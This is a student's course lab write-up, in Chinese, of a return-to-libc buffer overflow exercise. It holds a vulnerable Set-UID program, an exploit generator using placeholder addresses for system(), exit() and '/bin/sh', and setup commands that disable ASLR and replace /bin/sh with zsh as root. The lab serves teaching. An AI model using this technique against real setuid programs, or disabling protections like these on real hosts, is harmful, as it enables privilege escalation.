(2023-2024-1)20232826《Linux内核原理分析与设计》第十三周作业

20232826王朝昆 2023-12-13 15:24:37

Return-to-libc攻击实验

1、实验描述:

缓冲区溢出的常用攻击方法是用 shellcode 的地址来覆盖漏洞程序的返回地址,使得漏洞程序去执行存放在栈中 shellcode。为了阻止这种类型的攻击,一些操作系统使得系统管理员具有使栈不可执行的能力。这样的话,一旦程序执行存放在栈中的 shellcode 就会崩溃,从而阻止了攻击。不幸的是上面的保护方式并不是完全有效的,现在存在一种缓冲区溢出的变体攻击,叫做 return-to-libc 攻击。这种攻击不需要一个栈可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序跳转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

 2、实验准备:

系统用户名: shiyanlou

实验楼提供的是 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。

2.1 输入命令安装一些用于编译 32 位 C 程序的软件包               

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386 #这个过程耗时有点长,请等待一会

sudo apt-get install lib32readline-gplv2-dev

2.2 输入命令 linux32 进入 32 位 linux 环境,输入 /bin/bash 使用 bash:

                     

 

3、实验步骤:

3.1 实验设置

Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多 shell 程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。

linux 系统中,/bin/sh 实际是指向/bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

为了防止缓冲区溢出攻击,最近版本的 gcc 编译器默认将程序编译设置为栈不可执行,而你可以在编译的时候手动设置是否使栈不可执行:

gcc -z execstack -o test test.c    #栈可执行

gcc -z noexecstack -o test test.c  #栈不可执行

本次实验的目的,就是展示这个“栈不可执行”的保护措施并不是完全有效,所以我们使用-z noexecstack,或者不手动指定而使用编译器的默认设置。

3.2 漏洞程序 

在 /home/shiyanlou 目录下新建 retlib.c 文件

cd /home/shiyanlou
vi retlib.c
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
    char buffer[12];
    /* The following statement has a buffer overflow problem */
    fread(buffer, sizeof(char), 40, badfile);
    return 1;
}
int main(int argc, char **argv)
{
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}

编译该程序,并设置 SET-UID。命令如下:

sudo su

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c

chmod u+s retlib

exit

或者也可以 gcc -m32 -g -fno-stack-protector -o retlib retlib.c,默认使用“栈不可执行”保护。

GCC 编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

上述程序有一个缓冲区溢出漏洞,它先从一个叫 badfile 的文件里把 40 字节的数据读取到 12 字节的 buffer,引起溢出。fread() 函数不检查边界所以会发生溢出。由于此程序为 SET-ROOT-UID 程序,如果一个普通用户利用了此缓冲区溢出漏洞,他有可能获得 root shell。应该注意到此程序是从一个叫做badfile的文件获得输入的,这个文件受用户控制。现在我们的目标是为 badfile 创建内容,这样当这段漏洞程序将此内容复制进它的缓冲区,便产生了一个 root shell 。

我们还需要用到一个读取环境变量的程序,在 /home/shiyanlou 目录下新建 getenvaddr.c 文件,文件内容如下:

/* getenvaddr.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char const *argv[])
{
    char *ptr;

    if (argc < 3)
    {
        printf("Usage: %s <environment var> <target program name>\n", argv[0]);
        exit(0);
    }
    ptr = getenv(argv[1]);
    ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
    printf("%s will be at %p\n", argv[1], ptr);
    return 0;
}

编译: gcc -m32 -o getenvaddr getenvaddr.c

3.3 攻击程序 

在 /home/shiyanlou 目录下新建 exploit.c 文件,内容如下:

/* exploit.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
 char buf[40];
 FILE *badfile;
 badfile = fopen(".//badfile", "w");
 
 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times
  
 *(long *) &buf[32] =0x11111111; // "//bin//sh"
 *(long *) &buf[24] =0x22222222; // system()
 *(long *) &buf[36] =0x33333333; // exit()
 fwrite(buf, sizeof(buf), 1, badfile);
 fclose(badfile);
}

代码中“0x11111111”、“0x22222222”、“0x33333333”分别是 BIN_SH、system、exit 的地址,需要我们接下来获取。

 3.4 获取内存地址

1、用刚才的 getenvaddr 程序获得 BIN_SH 地址:

           

2、gdb 获得 system 和 exit 地址: 

             

 3、修改 exploit.c 文件,填上刚才找到的内存地址:

4、删除刚才调试编译的 exploit 程序和 badfile 文件,重新编译修改后的 exploit.c: 

               

 3.5 攻击

先运行攻击程序 exploit,再运行漏洞程序 retlib,可见攻击成功,获得了 root 权限:

    

 

...全文
376 回复 打赏 收藏 转发到动态 举报
写回复
用AI写文章
回复
切换为时间正序
请发表友善的回复…
发表回复
源码直接下载地址: https://pan.quark.cn/s/a4b39357ea24 标题中的“mac驱动兼容win11系统驱动适配版本bootcamp_5.1.5640”明确指出这是一个面向苹果Mac电脑用户的产品,其核心目的是协助用户在Windows 11操作系统上完成驱动程序的安装与配置工作。BootCamp作为苹果公司推出的一项工具,赋予Mac用户在不移除原有macOS系统的前提下,安装并执行Windows操作系统的能力。此特定版本的BootCamp 5.1.5640是专门针对Windows 11环境进行优化的驱动适配版本。 描述部分提及的“mac装win11适配的驱动包”,表明这个压缩文件内含了适配Mac硬件在Windows 11操作系统下运行的驱动程序,涵盖显卡、声卡、网卡等关键设备。用户需首先对文件进行解压缩操作,随后在BootCamp文件夹中找到名为"BootCamp.msi"的安装文件,通过双击执行来启动安装流程。这一步骤是BootCamp驱动安装过程中的核心环节,其中msi文件代表Microsoft Installer格式,其功能在于应用程序的分发与管理。 “BootCamp”标签进一步验证了该压缩包的主要功能,即借助BootCamp服务实现Mac设备与Windows系统之间的硬件兼容性。BootCamp的功能不止于提供驱动程序,还集成了一个引导管理器,允许用户在系统启动时选择运行macOS或Windows。 在压缩包的文件清单中: 1. "AutoUnattend.xml":该文件通常作为无人值守安装的配置文档,旨在自动执行Windows安装过程中的部分或全部设置任务,如用户账户的建立、地区设定的调整、网络配置等,从而提升安装的便捷性。 ...
内容概要:本文围绕“面向光储充一体化社区的有序充电策略研究”展开,提供了基于Matlab的代码实现方案。研究旨在构建整合光伏发电、储能系统与电动汽车充电管理的社区综合能源系统,通过设计先进的优化调度算法,对电动车辆的充电行为进行有序引导,从而提升可再生能源的就地消纳能力,降低对主电网的冲击,提高整体能源利用效率。文中详细阐述了系统架构与数学模型,综合考虑了光照强度、居民用电负荷、分时电价机制、用户充电偏好及电池状态等多重因素,建立了以经济成本最低、光伏利用率最高和负荷波动最小为目标的多目标优化模型,并采用高效的优化算法求解最优充电调度方案。通过Matlab平台进行仿真验证,结果表明所提出的有序充电策略能有效削峰填谷,促进能源的本地平衡与高效利用,具有良好的应用前景。; 适合人群:具备一定电力系统、新能源技术、优化理论或自动化控制背景,从事相关领域研究的研究生、科研人员及工程技术人员。; 使用场景及目标:① 深入探究光储充一体化系统的协同运行机制与多目标优化调度方法;② 学习并复现基于Matlab的有序充电策略建模、算法实现与仿真分析全过程;③ 为城市社区、商业园区等场景下的微电网能量管理系统(EMS)设计与实际部署提供理论依据和技术参考。; 阅读建议:建议读者结合提供的Matlab代码,深入理解模型构建与算法实现细节,重点关注目标函数的设计思路、各类物理与操作约束的数学表达以及仿真结果的对比分析,以便全面掌握该有序充电策略的核心思想、优化逻辑及其在实际应用中的潜力与局限性。

39

社区成员

发帖
与我相关
我的任务
社区描述
北京电子科技学院 《Linux内核原理与分析》课程
linuxarm开发系统安全 高校 北京·丰台区
社区管理员
  • rocflytosky
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧